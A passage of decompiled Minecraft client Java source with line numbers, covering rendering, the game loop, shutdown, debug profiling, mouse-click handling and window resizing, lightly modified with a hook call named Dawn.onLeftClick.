877 GL11.glTranslatef(0.0F, 0.0F, -2000.0F);
878 GL11.glDisable(GL11.GL_LIGHTING);
879 GL11.glDisable(GL11.GL_FOG);
880 GL11.glDisable(GL11.GL_DEPTH_TEST);
881 GL11.glEnable(GL11.GL_TEXTURE_2D);
882
883 try
884 {
885 this.field_152354_ay = this.renderEngine.getDynamicTextureLocation("logo", new DynamicTexture(ImageIO.read(this.mcDefaultResourcePack.getInputStream(locationMojangPng))));
886 this.renderEngine.bindTexture(this.field_152354_ay);
887 }
888 catch (IOException var7)
889 {
890 logger.error("Unable to load logo: " + locationMojangPng, var7);
891 }
892 Tessellator var4 = Tessellator.instance;
893 var4.startDrawingQuads();
894 var4.setColorOpaque_I(16777215);
895 var4.addVertexWithUV(0.0D, (double)this.displayHeight, 0.0D, 0.0D, 0.0D);
896 var4.addVertexWithUV((double)this.displayWidth, (double)this.displayHeight, 0.0D, 0.0D, 0.0D);
897 var4.addVertexWithUV((double)this.displayWidth, 0.0D, 0.0D, 0.0D, 0.0D);
898 var4.addVertexWithUV(0.0D, 0.0D, 0.0D, 0.0D, 0.0D);
899 var4.draw();
900 GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
901 var4.setColorOpaque_I(16777215);
902 short var5 = 256;
903 short var6 = 256;
904 this.scaledTessellator((var1.getScaledWidth() - var5) / 2, (var1.getScaledHeight() - var6) / 2, 0, 0, var5, var6);
905 GL11.glDisable(GL11.GL_LIGHTING);
906 GL11.glDisable(GL11.GL_FOG);
907 var3.unbindFramebuffer();
908 var3.framebufferRender(var1.getScaledWidth() * var2, var1.getScaledHeight() * var2);
909 GL11.glEnable(GL11.GL_ALPHA_TEST);
910 GL11.glAlphaFunc(GL11.GL_GREATER, 0.1F);
911 GL11.glFlush();
912 this.func_147120_f();
913 }
914
915 /**
916 * Loads Tessellator with a scaled resolution
917 */
918 public void scaledTessellator(int p_71392_1_, int p_71392_2_, int p_71392_3_, int p_71392_4_, int p_71392_5_, int p_71392_6_)
919 {
920 float var7 = 0.00390625F;
921 float var8 = 0.00390625F;
922 Tessellator var9 = Tessellator.instance;
923 var9.startDrawingQuads();
924 var9.addVertexWithUV((double)(p_71392_1_ + 0), (double)(p_71392_2_ + p_71392_6_), 0.0D, (double)((float)(p_71392_3_ + 0) * var7), (double)((float)(p_71392_4_ + p_71392_6_) * var8));
925 var9.addVertexWithUV((double)(p_71392_1_ + p_71392_5_), (double)(p_71392_2_ + p_71392_6_), 0.0D, (double)((float)(p_71392_3_ + p_71392_5_) * var7), (double)((float)(p_71392_4_ + p_71392_6_) * var8));
926 var9.addVertexWithUV((double)(p_71392_1_ + p_71392_5_), (double)(p_71392_2_ + 0), 0.0D, (double)((float)(p_71392_3_ + p_71392_5_) * var7), (double)((float)(p_71392_4_ + 0) * var8));
927 var9.addVertexWithUV((double)(p_71392_1_ + 0), (double)(p_71392_2_ + 0), 0.0D, (double)((float)(p_71392_3_ + 0) * var7), (double)((float)(p_71392_4_ + 0) * var8));
928 var9.draw();
929 }
930
931 /**
932 * Returns the save loader that is currently being used
933 */
934 public ISaveFormat getSaveLoader()
935 {
936 return this.saveLoader;
937 }
938
939 /**
940 * Sets the argument GuiScreen as the main (topmost visible) screen.
941 */
942 public void displayGuiScreen(GuiScreen p_147108_1_)
943 {
944 if (this.currentScreen != null)
945 {
946 this.currentScreen.onGuiClosed();
947 }
948
949 if (p_147108_1_ == null && this.theWorld == null)
950 {
951 p_147108_1_ = new GuiMainMenu();
952 }
953 else if (p_147108_1_ == null && this.thePlayer.getHealth() <= 0.0F)
954 {
955 p_147108_1_ = new GuiGameOver();
956 }
957
958 if (p_147108_1_ instanceof GuiMainMenu)
959 {
960 this.gameSettings.showDebugInfo = false;
961 this.ingameGUI.getChatGUI().func_146231_a();
962 }
963
964 this.currentScreen = (GuiScreen)p_147108_1_;
965
966 if (p_147108_1_ != null)
967 {
968 this.setIngameNotInFocus();
969 ScaledResolution var2 = new ScaledResolution(this, this.displayWidth, this.displayHeight);
970 int var3 = var2.getScaledWidth();
971 int var4 = var2.getScaledHeight();
972 ((GuiScreen)p_147108_1_).setWorldAndResolution(this, var3, var4);
973 this.skipRenderWorld = false;
974 }
975 else
976 {
977 this.mcSoundHandler.func_147687_e();
978 this.setIngameFocus();
979 }
980 }
981
982 /**
983 * Checks for an OpenGL error. If there is one, prints the error ID and error string.
984 */
985 private void checkGLError(String p_71361_1_)
986 {
987 int var2 = GL11.glGetError();
988
989 if (var2 != 0)
990 {
991 String var3 = GLU.gluErrorString(var2);
992 logger.error("########## GL ERROR ##########");
993 logger.error("@ " + p_71361_1_);
994 logger.error(var2 + ": " + var3);
995 }
996 }
997
998 /**
999 * Shuts down the minecraft applet by stopping the resource downloads, and clearing up GL stuff; called when the
1000 * application (or web page) is exited.
1001 */
1002 public void shutdownMinecraftApplet()
1003 {
1004 try
1005 {
1006 this.field_152353_at.func_152923_i();
1007 logger.info("Stopping!");
1008
1009 try
1010 {
1011 this.loadWorld((WorldClient)null);
1012 }
1013 catch (Throwable var7)
1014 {
1015 ;
1016 }
1017
1018 try
1019 {
1020 GLAllocation.deleteTexturesAndDisplayLists();
1021 }
1022 catch (Throwable var6)
1023 {
1024 ;
1025 }
1026
1027
1028 if (!this.hasCrashed)
1029 {
1030 System.exit(0);
1031 }
1032 }finally
1033 {
1034 Display.destroy();
1035 }
1036
1037 System.gc();
1038 this.mcSoundHandler.func_147685_d();
1039
1040
1041 }
1042
1043
1044 public void run()
1045 {
1046 running = true;
1047 CrashReport var2;
1048 try
1049 {
1050 startGame();
1051 }
1052 catch (Throwable var11)
1053 {
1054 var2 = CrashReport.makeCrashReport(var11, "Initializing game");
1055 var2.makeCategory("Initialization");
1056 displayCrashReport(addGraphicsAndWorldToCrashReport(var2));
1057 return;
1058 }
1059
1060 while (true) {
1061 try {
1062 while (running) {
1063 if (!hasCrashed || crashReporter == null) {
1064 try {
1065 runGameLoop();
1066 } catch (OutOfMemoryError var10) {
1067 freeMemory();
1068 displayGuiScreen(new GuiMemoryErrorScreen());
1069 System.gc();
1070 }
1071
1072 continue;
1073 }
1074
1075 displayCrashReport(crashReporter);
1076 return;
1077 }
1078 } catch (MinecraftError var12) {
1079 ;
1080 } catch (ReportedException var13) {
1081 addGraphicsAndWorldToCrashReport(var13.getCrashReport());
1082 freeMemory();
1083 logger.fatal("Reported exception thrown!", var13);
1084 displayCrashReport(var13.getCrashReport());
1085 } catch (Throwable var14) {
1086 var2 = addGraphicsAndWorldToCrashReport(new CrashReport("Unexpected error", var14));
1087 freeMemory();
1088 logger.fatal("Unreported exception thrown!", var14);
1089 displayCrashReport(var2);
1090 } finally {
1091 shutdownMinecraftApplet();
1092 }
1093
1094 return;
1095 }
1096 }
1097
1098 /**
1099 * Called repeatedly from run()
1100 */
1101 private void runGameLoop()
1102 {
1103 this.mcProfiler.startSection("root");
1104
1105 if (Display.isCreated() && Display.isCloseRequested())
1106 {
1107 this.shutdown();
1108 }
1109
1110 if (this.isGamePaused && this.theWorld != null)
1111 {
1112 float var1 = this.timer.renderPartialTicks;
1113 this.timer.updateTimer();
1114 this.timer.renderPartialTicks = var1;
1115 }
1116 else
1117 {
1118 this.timer.updateTimer();
1119 }
1120
1121 if ((this.theWorld == null || this.currentScreen == null) && this.refreshTexturePacksScheduled)
1122 {
1123 this.refreshTexturePacksScheduled = false;
1124 this.refreshResources();
1125 }
1126
1127 long var5 = System.nanoTime();
1128 this.mcProfiler.startSection("tick");
1129
1130 for (int var3 = 0; var3 < this.timer.elapsedTicks; ++var3)
1131 {
1132 this.runTick();
1133 }
1134
1135 this.mcProfiler.endStartSection("preRenderErrors");
1136 long var6 = System.nanoTime() - var5;
1137 this.checkGLError("Pre render");
1138 RenderBlocks.fancyGrass = this.gameSettings.fancyGraphics;
1139 this.mcProfiler.endStartSection("sound");
1140 this.mcSoundHandler.func_147691_a(this.thePlayer, this.timer.renderPartialTicks);
1141 this.mcProfiler.endSection();
1142 this.mcProfiler.startSection("render");
1143 GL11.glPushMatrix();
1144 GL11.glClear(GL11.GL_COLOR_BUFFER_BIT | GL11.GL_DEPTH_BUFFER_BIT);
1145 this.mcFramebuffer.bindFramebuffer(true);
1146 this.mcProfiler.startSection("display");
1147 GL11.glEnable(GL11.GL_TEXTURE_2D);
1148
1149 if (this.thePlayer != null && this.thePlayer.isEntityInsideOpaqueBlock())
1150 {
1151 this.gameSettings.thirdPersonView = 0;
1152 }
1153
1154 this.mcProfiler.endSection();
1155
1156 if (!this.skipRenderWorld)
1157 {
1158 this.mcProfiler.endStartSection("gameRenderer");
1159 this.entityRenderer.updateCameraAndRender(this.timer.renderPartialTicks);
1160 this.mcProfiler.endSection();
1161 }
1162
1163 GL11.glFlush();
1164 this.mcProfiler.endSection();
1165
1166// if (!Display.isActive() && this.fullscreen)
1167// {
1168// this.toggleFullscreen();
1169// }
1170
1171 if (this.gameSettings.showDebugInfo && this.gameSettings.showDebugProfilerChart)
1172 {
1173 if (!this.mcProfiler.profilingEnabled)
1174 {
1175 this.mcProfiler.clearProfiling();
1176 }
1177
1178 this.mcProfiler.profilingEnabled = true;
1179 this.displayDebugInfo(var6);
1180 }
1181 else
1182 {
1183 this.mcProfiler.profilingEnabled = false;
1184 this.prevFrameTime = System.nanoTime();
1185 }
1186
1187 this.guiAchievement.func_146254_a();
1188 this.mcFramebuffer.unbindFramebuffer();
1189 GL11.glPopMatrix();
1190 GL11.glPushMatrix();
1191 this.mcFramebuffer.framebufferRender(this.displayWidth, this.displayHeight);
1192 GL11.glPopMatrix();
1193 GL11.glPushMatrix();
1194 this.entityRenderer.func_152430_c(this.timer.renderPartialTicks);
1195 GL11.glPopMatrix();
1196 this.mcProfiler.startSection("root");
1197 this.func_147120_f();
1198 Thread.yield();
1199 this.mcProfiler.startSection("stream");
1200 this.mcProfiler.startSection("update");
1201 this.field_152353_at.func_152935_j();
1202 this.mcProfiler.endStartSection("submit");
1203 this.field_152353_at.func_152922_k();
1204 this.mcProfiler.endSection();
1205 this.mcProfiler.endSection();
1206 this.checkGLError("Post render");
1207 ++this.fpsCounter;
1208 this.isGamePaused = this.isSingleplayer() && this.currentScreen != null && this.currentScreen.doesGuiPauseGame() && !this.theIntegratedServer.getPublic();
1209
1210 while (getSystemTime() >= this.debugUpdateTime + 1000L)
1211 {
1212 debugFPS = this.fpsCounter;
1213 this.debug = debugFPS + " fps, " + WorldRenderer.chunksUpdated + " chunk updates";
1214 WorldRenderer.chunksUpdated = 0;
1215 this.debugUpdateTime += 1000L;
1216 this.fpsCounter = 0;
1217 this.usageSnooper.addMemoryStatsToSnooper();
1218
1219 if (!this.usageSnooper.isSnooperRunning())
1220 {
1221 this.usageSnooper.startSnooper();
1222 }
1223 }
1224
1225 this.mcProfiler.endSection();
1226
1227 if (this.isFramerateLimitBelowMax())
1228 {
1229 Display.sync(this.getLimitFramerate());
1230 }
1231 }
1232
1233 public void func_147120_f()
1234 {
1235 Display.update();
1236
1237 if (!this.fullscreen && Display.wasResized())
1238 {
1239 int var1 = this.displayWidth;
1240 int var2 = this.displayHeight;
1241 this.displayWidth = Display.getWidth();
1242 this.displayHeight = Display.getHeight();
1243
1244 if (this.displayWidth != var1 || this.displayHeight != var2)
1245 {
1246 if (this.displayWidth <= 0)
1247 {
1248 this.displayWidth = 1;
1249 }
1250
1251 if (this.displayHeight <= 0)
1252 {
1253 this.displayHeight = 1;
1254 }
1255
1256 this.resize(this.displayWidth, this.displayHeight);
1257 }
1258 }
1259 }
1260
1261 public int getLimitFramerate()
1262 {
1263 return this.theWorld == null && this.currentScreen != null ? 30 : this.gameSettings.limitFramerate;
1264 }
1265
1266 public boolean isFramerateLimitBelowMax()
1267 {
1268 return (float)this.getLimitFramerate() < GameSettings.Options.FRAMERATE_LIMIT.getValueMax();
1269 }
1270
1271 public void freeMemory()
1272 {
1273 try
1274 {
1275 memoryReserve = new byte[0];
1276 this.renderGlobal.deleteAllDisplayLists();
1277 }
1278 catch (Throwable var4)
1279 {
1280 ;
1281 }
1282
1283 try
1284 {
1285 System.gc();
1286 }
1287 catch (Throwable var3)
1288 {
1289 ;
1290 }
1291
1292 try
1293 {
1294 System.gc();
1295 this.loadWorld((WorldClient)null);
1296 }
1297 catch (Throwable var2)
1298 {
1299 ;
1300 }
1301
1302 System.gc();
1303 }
1304
1305 /**
1306 * Update debugProfilerName in response to number keys in debug screen
1307 */
1308 private void updateDebugProfilerName(int p_71383_1_)
1309 {
1310 List var2 = this.mcProfiler.getProfilingData(this.debugProfilerName);
1311
1312 if (var2 != null && !var2.isEmpty())
1313 {
1314 Profiler.Result var3 = (Profiler.Result)var2.remove(0);
1315
1316 if (p_71383_1_ == 0)
1317 {
1318 if (var3.field_76331_c.length() > 0)
1319 {
1320 int var4 = this.debugProfilerName.lastIndexOf(".");
1321
1322 if (var4 >= 0)
1323 {
1324 this.debugProfilerName = this.debugProfilerName.substring(0, var4);
1325 }
1326 }
1327 }
1328 else
1329 {
1330 --p_71383_1_;
1331
1332 if (p_71383_1_ < var2.size() && !((Profiler.Result)var2.get(p_71383_1_)).field_76331_c.equals("unspecified"))
1333 {
1334 if (this.debugProfilerName.length() > 0)
1335 {
1336 this.debugProfilerName = this.debugProfilerName + ".";
1337 }
1338
1339 this.debugProfilerName = this.debugProfilerName + ((Profiler.Result)var2.get(p_71383_1_)).field_76331_c;
1340 }
1341 }
1342 }
1343 }
1344
1345 private void displayDebugInfo(long p_71366_1_)
1346 {
1347 if (this.mcProfiler.profilingEnabled)
1348 {
1349 List var3 = this.mcProfiler.getProfilingData(this.debugProfilerName);
1350 Profiler.Result var4 = (Profiler.Result)var3.remove(0);
1351 GL11.glClear(GL11.GL_DEPTH_BUFFER_BIT);
1352 GL11.glMatrixMode(GL11.GL_PROJECTION);
1353 GL11.glEnable(GL11.GL_COLOR_MATERIAL);
1354 GL11.glLoadIdentity();
1355 GL11.glOrtho(0.0D, (double)this.displayWidth, (double)this.displayHeight, 0.0D, 1000.0D, 3000.0D);
1356 GL11.glMatrixMode(GL11.GL_MODELVIEW);
1357 GL11.glLoadIdentity();
1358 GL11.glTranslatef(0.0F, 0.0F, -2000.0F);
1359 GL11.glLineWidth(1.0F);
1360 GL11.glDisable(GL11.GL_TEXTURE_2D);
1361 Tessellator var5 = Tessellator.instance;
1362 short var6 = 160;
1363 int var7 = this.displayWidth - var6 - 10;
1364 int var8 = this.displayHeight - var6 * 2;
1365 GL11.glEnable(GL11.GL_BLEND);
1366 var5.startDrawingQuads();
1367 var5.setColorRGBA_I(0, 200);
1368 var5.addVertex((double)((float)var7 - (float)var6 * 1.1F), (double)((float)var8 - (float)var6 * 0.6F - 16.0F), 0.0D);
1369 var5.addVertex((double)((float)var7 - (float)var6 * 1.1F), (double)(var8 + var6 * 2), 0.0D);
1370 var5.addVertex((double)((float)var7 + (float)var6 * 1.1F), (double)(var8 + var6 * 2), 0.0D);
1371 var5.addVertex((double)((float)var7 + (float)var6 * 1.1F), (double)((float)var8 - (float)var6 * 0.6F - 16.0F), 0.0D);
1372 var5.draw();
1373 GL11.glDisable(GL11.GL_BLEND);
1374 double var9 = 0.0D;
1375 int var13;
1376
1377 for (int var11 = 0; var11 < var3.size(); ++var11)
1378 {
1379 Profiler.Result var12 = (Profiler.Result)var3.get(var11);
1380 var13 = MathHelper.floor_double(var12.field_76332_a / 4.0D) + 1;
1381 var5.startDrawing(6);
1382 var5.setColorOpaque_I(var12.func_76329_a());
1383 var5.addVertex((double)var7, (double)var8, 0.0D);
1384 int var14;
1385 float var15;
1386 float var16;
1387 float var17;
1388
1389 for (var14 = var13; var14 >= 0; --var14)
1390 {
1391 var15 = (float)((var9 + var12.field_76332_a * (double)var14 / (double)var13) * Math.PI * 2.0D / 100.0D);
1392 var16 = MathHelper.sin(var15) * (float)var6;
1393 var17 = MathHelper.cos(var15) * (float)var6 * 0.5F;
1394 var5.addVertex((double)((float)var7 + var16), (double)((float)var8 - var17), 0.0D);
1395 }
1396
1397 var5.draw();
1398 var5.startDrawing(5);
1399 var5.setColorOpaque_I((var12.func_76329_a() & 16711422) >> 1);
1400
1401 for (var14 = var13; var14 >= 0; --var14)
1402 {
1403 var15 = (float)((var9 + var12.field_76332_a * (double)var14 / (double)var13) * Math.PI * 2.0D / 100.0D);
1404 var16 = MathHelper.sin(var15) * (float)var6;
1405 var17 = MathHelper.cos(var15) * (float)var6 * 0.5F;
1406 var5.addVertex((double)((float)var7 + var16), (double)((float)var8 - var17), 0.0D);
1407 var5.addVertex((double)((float)var7 + var16), (double)((float)var8 - var17 + 10.0F), 0.0D);
1408 }
1409
1410 var5.draw();
1411 var9 += var12.field_76332_a;
1412 }
1413
1414 DecimalFormat var18 = new DecimalFormat("##0.00");
1415 GL11.glEnable(GL11.GL_TEXTURE_2D);
1416 String var19 = "";
1417
1418 if (!var4.field_76331_c.equals("unspecified"))
1419 {
1420 var19 = var19 + "[0] ";
1421 }
1422
1423 if (var4.field_76331_c.length() == 0)
1424 {
1425 var19 = var19 + "ROOT ";
1426 }
1427 else
1428 {
1429 var19 = var19 + var4.field_76331_c + " ";
1430 }
1431
1432 var13 = 16777215;
1433 this.fontRenderer.drawStringWithShadow(var19, var7 - var6, var8 - var6 / 2 - 16, var13);
1434 this.fontRenderer.drawStringWithShadow(var19 = var18.format(var4.field_76330_b) + "%", var7 + var6 - this.fontRenderer.getStringWidth(var19), var8 - var6 / 2 - 16, var13);
1435
1436 for (int var20 = 0; var20 < var3.size(); ++var20)
1437 {
1438 Profiler.Result var21 = (Profiler.Result)var3.get(var20);
1439 String var22 = "";
1440
1441 if (var21.field_76331_c.equals("unspecified"))
1442 {
1443 var22 = var22 + "[?] ";
1444 }
1445 else
1446 {
1447 var22 = var22 + "[" + (var20 + 1) + "] ";
1448 }
1449
1450 var22 = var22 + var21.field_76331_c;
1451 this.fontRenderer.drawStringWithShadow(var22, var7 - var6, var8 + var6 / 2 + var20 * 8 + 20, var21.func_76329_a());
1452 this.fontRenderer.drawStringWithShadow(var22 = var18.format(var21.field_76332_a) + "%", var7 + var6 - 50 - this.fontRenderer.getStringWidth(var22), var8 + var6 / 2 + var20 * 8 + 20, var21.func_76329_a());
1453 this.fontRenderer.drawStringWithShadow(var22 = var18.format(var21.field_76330_b) + "%", var7 + var6 - this.fontRenderer.getStringWidth(var22), var8 + var6 / 2 + var20 * 8 + 20, var21.func_76329_a());
1454 }
1455 }
1456 }
1457
1458 /**
1459 * Called when the window is closing. Sets 'running' to false which allows the game loop to exit cleanly.
1460 */
1461 public void shutdown()
1462 {
1463 this.running = false;
1464
1465 }
1466
1467 /**
1468 * Will set the focus to ingame if the Minecraft window is the active with focus. Also clears any GUI screen
1469 * currently displayed
1470 */
1471 public void setIngameFocus()
1472 {
1473 if (Display.isActive())
1474 {
1475 if (!this.inGameHasFocus)
1476 {
1477 this.inGameHasFocus = true;
1478 this.mouseHelper.grabMouseCursor();
1479 this.displayGuiScreen((GuiScreen)null);
1480 this.leftClickCounter = 10000;
1481 }
1482 }
1483 }
1484
1485 /**
1486 * Resets the player keystate, disables the ingame focus, and ungrabs the mouse cursor.
1487 */
1488 public void setIngameNotInFocus()
1489 {
1490 if (this.inGameHasFocus)
1491 {
1492 KeyBinding.unPressAllKeys();
1493 this.inGameHasFocus = false;
1494 this.mouseHelper.ungrabMouseCursor();
1495 }
1496 }
1497
1498 /**
1499 * Displays the ingame menu
1500 */
1501 public void displayInGameMenu()
1502 {
1503 if (this.currentScreen == null)
1504 {
1505 this.displayGuiScreen(new GuiIngameMenu());
1506
1507 if (this.isSingleplayer() && !this.theIntegratedServer.getPublic())
1508 {
1509 this.mcSoundHandler.func_147689_b();
1510 }
1511 }
1512 }
1513
1514 private void func_147115_a(boolean p_147115_1_)
1515 {
1516 if (!p_147115_1_)
1517 {
1518 this.leftClickCounter = 0;
1519 }
1520
1521 if (this.leftClickCounter <= 0)
1522 {
1523 if (p_147115_1_ && this.objectMouseOver != null && this.objectMouseOver.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK)
1524 {
1525 int var2 = this.objectMouseOver.blockX;
1526 int var3 = this.objectMouseOver.blockY;
1527 int var4 = this.objectMouseOver.blockZ;
1528
1529 if (this.theWorld.getBlock(var2, var3, var4).getMaterial() != Material.air)
1530 {
1531 this.playerController.onPlayerDamageBlock(var2, var3, var4, this.objectMouseOver.sideHit);
1532
1533 if (this.thePlayer.isCurrentToolAdventureModeExempt(var2, var3, var4))
1534 {
1535 this.effectRenderer.addBlockHitEffects(var2, var3, var4, this.objectMouseOver.sideHit);
1536 this.thePlayer.swingItem();
1537 }
1538 }
1539 }
1540 else
1541 {
1542 this.playerController.resetBlockRemoving();
1543 }
1544 }
1545 }
1546
1547 private void func_147116_af()
1548 {
1549 Dawn.onLeftClick();
1550 if (this.leftClickCounter <= 0)
1551 {
1552 this.thePlayer.swingItem();
1553
1554 if (this.objectMouseOver == null)
1555 {
1556 logger.error("Null returned as \'hitResult\', this shouldn\'t happen!");
1557
1558 if (this.playerController.isNotCreative())
1559 {
1560 this.leftClickCounter = 10;
1561 }
1562 }
1563 else
1564 {
1565 switch (Minecraft.SwitchMovingObjectType.field_152390_a[this.objectMouseOver.typeOfHit.ordinal()])
1566 {
1567 case 1:
1568 this.playerController.attackEntity(this.thePlayer, this.objectMouseOver.entityHit);
1569 break;
1570
1571 case 2:
1572 int var1 = this.objectMouseOver.blockX;
1573 int var2 = this.objectMouseOver.blockY;
1574 int var3 = this.objectMouseOver.blockZ;
1575
1576 if (this.theWorld.getBlock(var1, var2, var3).getMaterial() == Material.air)
1577 {
1578 if (this.playerController.isNotCreative())
1579 {
1580 this.leftClickCounter = 10;
1581 }
1582 }
1583 else
1584 {
1585 this.playerController.clickBlock(var1, var2, var3, this.objectMouseOver.sideHit);
1586 }
1587 }
1588 }
1589 }
1590 }
1591
1592 private void func_147121_ag()
1593 {
1594 this.rightClickDelayTimer = 4;
1595 boolean var1 = true;
1596 ItemStack var2 = this.thePlayer.inventory.getCurrentItem();
1597
1598 if (this.objectMouseOver == null)
1599 {
1600 logger.warn("Null returned as \'hitResult\', this shouldn\'t happen!");
1601 }
1602 else
1603 {
1604 switch (Minecraft.SwitchMovingObjectType.field_152390_a[this.objectMouseOver.typeOfHit.ordinal()])
1605 {
1606 case 1:
1607 if (this.playerController.interactWithEntitySendPacket(this.thePlayer, this.objectMouseOver.entityHit))
1608 {
1609 var1 = false;
1610 }
1611
1612 break;
1613
1614 case 2:
1615 int var3 = this.objectMouseOver.blockX;
1616 int var4 = this.objectMouseOver.blockY;
1617 int var5 = this.objectMouseOver.blockZ;
1618
1619 if (this.theWorld.getBlock(var3, var4, var5).getMaterial() != Material.air)
1620 {
1621 int var6 = var2 != null ? var2.stackSize : 0;
1622
1623 if (this.playerController.onPlayerRightClick(this.thePlayer, this.theWorld, var2, var3, var4, var5, this.objectMouseOver.sideHit, this.objectMouseOver.hitVec))
1624 {
1625 var1 = false;
1626 this.thePlayer.swingItem();
1627 }
1628
1629 if (var2 == null)
1630 {
1631 return;
1632 }
1633
1634 if (var2.stackSize == 0)
1635 {
1636 this.thePlayer.inventory.mainInventory[this.thePlayer.inventory.currentItem] = null;
1637 }
1638 else if (var2.stackSize != var6 || this.playerController.isInCreativeMode())
1639 {
1640 this.entityRenderer.itemRenderer.resetEquippedProgress();
1641 }
1642 }
1643 }
1644 }
1645
1646 if (var1)
1647 {
1648 ItemStack var7 = this.thePlayer.inventory.getCurrentItem();
1649
1650 if (var7 != null && this.playerController.sendUseItem(this.thePlayer, this.theWorld, var7))
1651 {
1652 this.entityRenderer.itemRenderer.resetEquippedProgress2();
1653 }
1654 }
1655 }
1656
1657 /**
1658 * Toggles fullscreen mode.
1659 */
1660 public void toggleFullscreen()
1661 {
1662 try
1663 {
1664 this.fullscreen = !this.fullscreen;
1665 this.gameSettings.fullScreen = this.fullscreen;
1666
1667 if (this.fullscreen)
1668 {
1669 this.updateDisplayMode();
1670 this.displayWidth = Display.getDisplayMode().getWidth();
1671 this.displayHeight = Display.getDisplayMode().getHeight();
1672
1673 if (this.displayWidth <= 0)
1674 {
1675 this.displayWidth = 1;
1676 }
1677
1678 if (this.displayHeight <= 0)
1679 {
1680 this.displayHeight = 1;
1681 }
1682 }
1683 else
1684 {
1685 Display.setDisplayMode(new DisplayMode(this.tempDisplayWidth, this.tempDisplayHeight));
1686 this.displayWidth = this.tempDisplayWidth;
1687 this.displayHeight = this.tempDisplayHeight;
1688
1689 if (this.displayWidth <= 0)
1690 {
1691 this.displayWidth = 1;
1692 }
1693
1694 if (this.displayHeight <= 0)
1695 {
1696 this.displayHeight = 1;
1697 }
1698 }
1699
1700 if (this.currentScreen != null)
1701 {
1702 this.resize(this.displayWidth, this.displayHeight);
1703 }
1704 else
1705 {
1706 this.updateFramebufferSize();
1707 }
1708
1709 Display.setFullscreen(this.fullscreen);
1710 Display.setVSyncEnabled(this.gameSettings.enableVsync);
1711 this.updateDisplay();
1712 }
1713 catch (Exception exception)
1714 {
1715 logger.error((String)"Couldn\'t toggle fullscreen", (Throwable)exception);
1716 }
1717 }
1718
1719 public void updateDisplay()
1720 {
1721 this.mcProfiler.startSection("display_update");
1722 Display.update();
1723 this.mcProfiler.endSection();
1724 this.checkWindowResize();
1725 }
1726
1727 protected void checkWindowResize()
1728 {
1729 if (!this.fullscreen && Display.wasResized())
1730 {
1731 int i = this.displayWidth;
1732 int j = this.displayHeight;
1733 this.displayWidth = Display.getWidth();
1734 this.displayHeight = Display.getHeight();
1735
1736 if (this.displayWidth != i || this.displayHeight != j)
1737 {
1738 if (this.displayWidth <= 0)
1739 {
1740 this.displayWidth = 1;
1741 }
1742
1743 if (this.displayHeight <= 0)
1744 {
1745 this.displayHeight = 1;
1746 }
1747
1748 this.resize(this.displayWidth, this.displayHeight);
1749 }
1750 }
1751 }
1752
1753 /**
1754 * Called to resize the current screen.
1755 */
1756 private void resize(int p_71370_1_, int p_71370_2_)
1757 {
1758 this.displayWidth = p_71370_1_ <= 0 ? 1 : p_71370_1_;
1759 this.displayHeight = p_71370_2_ <= 0 ? 1 : p_71370_2_;
1760
1761 if (this.currentScreen != null)
1762 {
1763 ScaledResolution var3 = new ScaledResolution(this, p_71370_1_, p_71370_2_);
1764 int var4 = var3.getScaledWidth();
1765 int var5 = var3.getScaledHeight();
1766 this.currentScreen.setWorldAndResolution(this, var4, var5);
1767 }
1768
1769 this.loadingScreen = new LoadingScreenRenderer(this);
1770 this.updateFramebufferSize();
1771 }
1772
1773 private void updateFramebufferSize()
1774 {
1775 this.mcFramebuffer.createBindFramebuffer(this.displayWidth, this.displayHeight);
1776
1777 if (this.entityRenderer != null)
1778 {
1779 this.entityRenderer.updateShaderGroupSize(this.displayWidth, this.displayHeight);
1780 }
1781 }
1782
1783 /**
1784 * Runs the current tick.
1785 */
1786 public void runTick()
1787 {
1788 this.mcProfiler.startSection("scheduledExecutables");
1789 Queue var1 = this.field_152351_aB;
1790
1791 synchronized (this.field_152351_aB)
1792 {
1793 while (!this.field_152351_aB.isEmpty())
1794 {
1795 ((FutureTask)this.field_152351_aB.poll()).run();
1796 }
1797 }
1798
1799 this.mcProfiler.endSection();
1800
1801 if (this.rightClickDelayTimer > 0)
1802 {
1803 --this.rightClickDelayTimer;
1804 }
1805
1806 this.mcProfiler.startSection("gui");
1807
1808 if (!this.isGamePaused)
1809 {
1810 this.ingameGUI.updateTick();
1811 }
1812
1813 this.mcProfiler.endStartSection("pick");
1814 this.entityRenderer.getMouseOver(1.0F);
1815 this.mcProfiler.endStartSection("gameMode");
1816
1817 if (!this.isGamePaused && this.theWorld != null)
1818 {
1819 this.playerController.updateController();
1820 }
1821
1822 this.mcProfiler.endStartSection("textures");
1823
1824 if (!this.isGamePaused)
1825 {
1826 this.renderEngine.tick();
1827 }
1828
1829 if (this.currentScreen == null && this.thePlayer != null)
1830 {
1831 if (this.thePlayer.getHealth() <= 0.0F)
1832 {
1833 this.displayGuiScreen((GuiScreen)null);
1834 }
1835 else if (this.thePlayer.isPlayerSleeping() && this.theWorld != null)
1836 {
1837 this.displayGuiScreen(new GuiSleepMP());
1838 }
1839 }
1840 else if (this.currentScreen != null && this.currentScreen instanceof GuiSleepMP && !this.thePlayer.isPlayerSleeping())
1841 {
1842 this.displayGuiScreen((GuiScreen)null);
1843 }
1844
1845 if (this.currentScreen != null)
1846 {
1847 this.leftClickCounter = 10000;
1848 }
1849
1850 CrashReport var2;
1851 CrashReportCategory var3;
1852
1853 if (this.currentScreen != null)
1854 {
1855 try
1856 {
1857 this.currentScreen.handleInput();
1858 }
1859 catch (Throwable var6)
1860 {
1861 var2 = CrashReport.makeCrashReport(var6, "Updating screen events");
1862 var3 = var2.makeCategory("Affected screen");
1863 var3.addCrashSectionCallable("Screen name", new Callable()
1864 {
1865 private static final String __OBFID = "CL_00000640";
1866 public String call()
1867 {
1868 return Minecraft.this.currentScreen.getClass().getCanonicalName();
1869 }
1870 });
1871 throw new ReportedException(var2);
1872 }
1873
1874 if (this.currentScreen != null)
1875 {
1876 try
1877 {
1878 this.currentScreen.updateScreen();
1879 }
1880 catch (Throwable var5)
1881 {
1882 var2 = CrashReport.makeCrashReport(var5, "Ticking screen");
1883 var3 = var2.makeCategory("Affected screen");
1884 var3.addCrashSectionCallable("Screen name", new Callable()
1885 {
1886 private static final String __OBFID = "CL_00000642";
1887 public String call()
1888 {
1889 return Minecraft.this.currentScreen.getClass().getCanonicalName();
1890 }
1891 });
1892 throw new ReportedException(var2);
1893 }
1894 }
1895 }
1896
1897 if (this.currentScreen == null || this.currentScreen.field_146291_p)
1898 {
1899 this.mcProfiler.endStartSection("mouse");
1900 int var9;
1901
1902 while (Mouse.next())
1903 {
